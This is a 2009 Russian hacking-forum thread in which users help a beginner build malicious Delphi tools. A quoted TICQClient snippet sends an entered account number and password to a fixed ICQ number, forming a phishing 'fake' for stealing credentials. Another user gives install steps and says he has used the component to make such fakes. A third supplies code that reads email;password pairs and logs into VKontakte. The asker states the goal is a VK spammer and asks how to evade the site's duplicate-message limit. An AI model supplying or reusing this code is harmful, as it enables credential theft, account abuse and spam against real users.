Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
|
20.11.2009, 15:10
|
|
Познающий
Регистрация: 18.11.2009
Сообщений: 44
Провел на форуме:
134032
Репутация:
3
|
|
Вопрос по Delphi
Привет всем кто готов помоч и кто не готов...
У меня возникло 2 вопроса:
1. Например мы выбрали строку в TListBox, теперь жмём кнопку и она вытаскивает "email до ;" "и пароль после ;"
и вставляет его в соответсвующую графу TLabelEdit ну и собственно подставляет его в скрипт:
Код:
WebBrowser.Navigate('http://vkontakte.ru/login.php?email='+EmailEdit.Text+'&pass='+PasswordEdit.Text
Подскажите как такое написать..?
2. Как можно сделать чтобы по Event - 'OnClick' отсылалась куда нить на сервер информация из TLabelEdit. Сегодня читал темы на форуме наткнулся на фейк MailAgent там же нашёл информацию про ICQ client в Delphi полазил по инэту про icq client нашёл прилично информации....но так и не понял даже как его установить, если кому нить не сложно объяснить как его установить, где его достать, и как он работает..буду благодарен...
Всё в той же теме я нашёл такой скрипт:
Код:
procedure TForm1.ICQClient1Login(Sender: TObject); begin
icqclient1.SendMessage(370355372, 'Уин: ' + ComboBox1.Text + ' Password: ' + Edit1.Text);
end;
Он как я понял отсылает...ComboBox1.Text & Edit1.Text в аську....вот я и подумал мб можно установить его себе, прикрепить к программе и собственно фейк готов...???
_http://forum.antichat.ru/thread79328.html - вот та самая темка про фейк...
подскажите как реализовать такое...?!
З.Ы. прошу по голове не бить...в Delphi я еще bot  , но пытаюсь учиться всему...что только можно...
Последний раз редактировалось Kandi; 20.11.2009 в 16:41..
|
|
|
20.11.2009, 19:15
|
|
Banned
Регистрация: 03.11.2009
Сообщений: 112
Провел на форуме:
98006
Репутация:
17
|
|
юлин, народ, что у вас с религией??? Почему она вам поиском пользоваться не разрешает??? вот вторая строка в гугле при запросе ICQ client в Delphi, http://delphiexpert.ru/view_download.php?id=156. Вот тут лежит исходник icq клиента
|
|
|
|
20.11.2009, 19:22
|
|
Banned
Регистрация: 03.11.2009
Сообщений: 112
Провел на форуме:
98006
Репутация:
17
|
|
Как установить TICQClient:
0) Удалите предыдущий компонент TICQClient, если ставили его
1) Откройте TICQClient.dpk в Delphi
2) Перейдите в Menu->Tools->Environment Options->Library
3) Нажмите кнопку "..." напротив Library path
4) Добавьте путь в папку, где лежит TICQClient
5) Вернитесь к окошку открытого dpk
6) Нажмите Compile
7) Нажмите Install
8) Теперь можете использовать компонент ICQClient на вкладке Samples
|
|
|
|
20.11.2009, 20:25
|
|
Постоянный
Регистрация: 14.04.2008
Сообщений: 327
Провел на форуме:
584699
Репутация:
69
|
|
Пользовался нормально этим компонентом для создания фэйков но теперь вылетает ошибка
Незнаете что она означает вернее перевести то я могу, а вот как избавится от нее, и в тулпалет дэлфи icqclient пропал! |
|
|
|
20.11.2009, 21:36
|
|
Постоянный
Регистрация: 14.04.2008
Сообщений: 327
Провел на форуме:
584699
Репутация:
69
|
|
Исправил не актуально
|
|
|
|
21.11.2009, 03:23
|
|
Познающий
Регистрация: 25.10.2009
Сообщений: 97
Провел на форуме:
604635
Репутация:
15
|
|
***оффтоп
TICQClient гавно, он глючный и старый. Что бы написать то что нужное для ICQ, можно потратить 2-3 дня на изучение протокола и 4 дня на реализацию задачи, чем неделями разбираться с ошибками и думать почему он работает не так как нужно
|
|
|
|
21.11.2009, 06:26
|
|
Banned
Регистрация: 03.11.2009
Сообщений: 112
Провел на форуме:
98006
Репутация:
17
|
|
Сообщение от Jingo Bo
***оффтоп
TICQClient гавно, он глючный и старый. Что бы написать то что нужное для ICQ, можно потратить 2-3 дня на изучение протокола и 4 дня на реализацию задачи, чем неделями разбираться с ошибками и думать почему он работает не так как нужно
а что скажешь по поводу компонента icq client???
|
|
|
|
21.11.2009, 07:52
|
|
Познающий
Регистрация: 19.12.2008
Сообщений: 78
Провел на форуме:
184907
Репутация:
13
|
|
1.
Код:
procedure TForm1.Butto1Click(Sender: TObject);
var
email, pass, s: string;
begin
if ListBox1.ItemIndex>-1 then {Если в ЛистБоксе что-то выбрано}
begin
s:= ListBox1.Items.Strings[ListBox1.ItemIndex];
email:=Copy(s, 1, Pos(';', s)-1); {Берем часть строки s, до ;}
Delete(s, 1, Pos(';', s));{Удаляем часть строки ;, включительно}
pass:=s;
WebBrowser.Navigate('http://vkontakte.ru/login.php?email='+email+'&pass='+pass;
end;
end;
А вообще незнаю, что ты делаешь, но что-то не то. |
|
|
|
21.11.2009, 15:12
|
|
Познающий
Регистрация: 18.11.2009
Сообщений: 44
Провел на форуме:
134032
Репутация:
3
|
|
Сообщение от Proger10
1.
Код:
procedure TForm1.Butto1Click(Sender: TObject);
var
email, pass, s: string;
begin
if ListBox1.ItemIndex>-1 then {Если в ЛистБоксе что-то выбрано}
begin
s:= ListBox1.Items.Strings[ListBox1.ItemIndex];
email:=Copy(s, 1, Pos(';', s)-1); {Берем часть строки s, до ;}
Delete(s, 1, Pos(';', s));{Удаляем часть строки ;, включительно}
pass:=s;
WebBrowser.Navigate('http://vkontakte.ru/login.php?email='+email+'&pass='+pass;
end;
end;
А вообще незнаю, что ты делаешь, но что-то не то. В каком смысле не то? ну спамер ВК хочу) сделать) ну и собственно надо чтобы из listbox доставалось....а лист бокс грузит файл .txt, вот и вся задача собственно)
А по второму вопросу...ни у кого нету предложений? помимо icq...?
|
|
|
|
21.11.2009, 15:16
|
|
Познающий
Регистрация: 18.11.2009
Сообщений: 44
Провел на форуме:
134032
Репутация:
3
|
|
У меня возник еще один вопросик......
Т.к. вконтакте щас есть одно ограничение, а именно ты не можешь отослать одно и то же сообщение, несколько раз подряд.....нужно прикрепить генерацию левых чисел или знаком.....кто нить может поделиться маленьким примером?
|
|
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Линейный вид
